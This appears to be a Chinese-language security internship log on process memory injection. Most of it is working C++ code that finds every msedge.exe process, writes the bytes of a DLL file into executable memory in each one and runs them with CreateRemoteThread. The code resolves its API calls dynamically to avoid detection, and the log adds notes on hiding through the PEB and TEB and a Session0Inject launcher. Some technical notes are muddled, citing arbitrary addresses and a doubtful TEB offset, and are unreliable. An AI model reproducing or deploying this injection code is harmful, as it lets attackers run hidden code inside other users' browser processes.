7.16生产实习日志

内存注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include<fstream>
#include<iostream>
#include<Windows.h>
#include <tlhelp32.h>
using namespace std;

// 函数用于创建远程线程执行 shellcode
typedef HANDLE(WINAPI* fn_OpenProcess)(
_In_ DWORD dwDesiredAccess,
_In_ BOOL bInheritHandle,
_In_ DWORD dwProcessId
);
typedef LPVOID(WINAPI* fn_VirtualAllocEx)(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);

void createThreadTest() {
char filename[] = "box.dll";
// 以读模式打开文件
ifstream infile;
//以二进制方式打开
infile.open(filename, ios::out | ios::binary);
infile.seekg(0, infile.end); //追溯到流的尾部
int length = infile.tellg(); //获取流的长度
infile.seekg(0, infile.beg);//回溯到流头部
char* data = new char[length]; //存取文件内容
if (infile.is_open()) {
cout << "reading from the file" << endl;
infile.read(data, length);
}
HANDLE snapshot_handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot_handle != INVALID_HANDLE_VALUE) {
// 枚举进程
PROCESSENTRY32 process_entry;
process_entry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(snapshot_handle, &process_entry)) {
do {
// 将进程名转换为宽字符串
std::wstring extFileName(process_entry.szExeFile);
// 如果进程名包含 "msedge.exe" 则进行以下操作
if (extFileName.find(L"msedge.exe") != std::string::npos) {
// 打开进程
fn_OpenProcess myOpenProcess = (fn_OpenProcess)GetProcAddress(LoadLibraryA("kernel32.dll"), "OpenProcess");
HANDLE process_handle = myOpenProcess(PROCESS_ALL_ACCESS, FALSE, process_entry.th32ProcessID);
if (process_handle != NULL) {
// 在远程进程中分配内存
fn_VirtualAllocEx myVirtualAllocEx = (fn_VirtualAllocEx)GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAllocEx");
LPVOID remote_buffer =myVirtualAllocEx(process_handle, NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remote_buffer != NULL) {
SIZE_T bytes_written;
// 将 code 写入远程进程内存
if (WriteProcessMemory(process_handle, remote_buffer, data, length, &bytes_written)) {
std::cout << "Remote buffer address: " << remote_buffer << std::endl;

// 在远程进程中创建线程执行 code
HANDLE remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL);
if (remote_thread != NULL) {
// 等待线程结束
WaitForSingleObject(remote_thread, INFINITE);
CloseHandle(remote_thread);
}
}
// 关闭远程内存句柄
CloseHandle(remote_buffer);
}
// 关闭进程句柄
CloseHandle(process_handle);
}
}
} while (Process32Next(snapshot_handle, &process_entry)); // 继续枚举下一个进程
}
// 关闭进程快照句柄
CloseHandle(snapshot_handle);
}
}
// 主函数
int main() {
// 调用函数执行创建远程线程的操作
createThreadTest();
return 0;
}

使用的函数

获取模块地址(系统自带的DLL):LoadLibrary(模块名字)

返回值,模块地址。

从模块中获取需要的函数地址

GetProcAddress(模块地址,函数名字)

定义函数的结构(参数)

typedef 函数返回值 (WINAPI* 自定义函数名)()

完全隐藏

  • PEB表
  • TEB表
  • 进程环境块
  • 线程环境块

执行流程

DLL什么时候被加载???

  • exe将要执行
  • 除去提供导出函数,DLL本身还有一个DLLmain函数。
  • 初始化 -》start (代码段的开始)-》加载DLL-》编译器添加的代码(安全检测)-》main - 》获取DLL中函数的地址-》main函数的调用(API函数)-》return 0
  • 模块地址到底存放在呢?LoadLibrary函数怎么找到的?
  • kernel32,KernelBase
  • kernel32 -》 存放地址(每一个函数都需要一个地址来存放函数代码的位置)。DWORD 10kb 10个进程-》kernel32。
  • 地址在PEB表中
  • 内核模块()
  • 0x100505051151
  • 0x151687
  • fs(专门存放TEB表的地址)
  • TEB中的0x16的位置,存放就是PEB

参数分离

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int main(int argc, char* argv[])
{
if (argc == 3)
{
//将字符串转化为整数
BOOL result = Session0Inject((DWORD)atoi(argv[1]), argv[2]);
if (-1 == result)
{
printf("注入失败\n");
}
else
{
printf("注入成功\n");
}
} else{
printf("两个参数,1为pid,2为dll的绝对路径\n");
exit(1);
}

}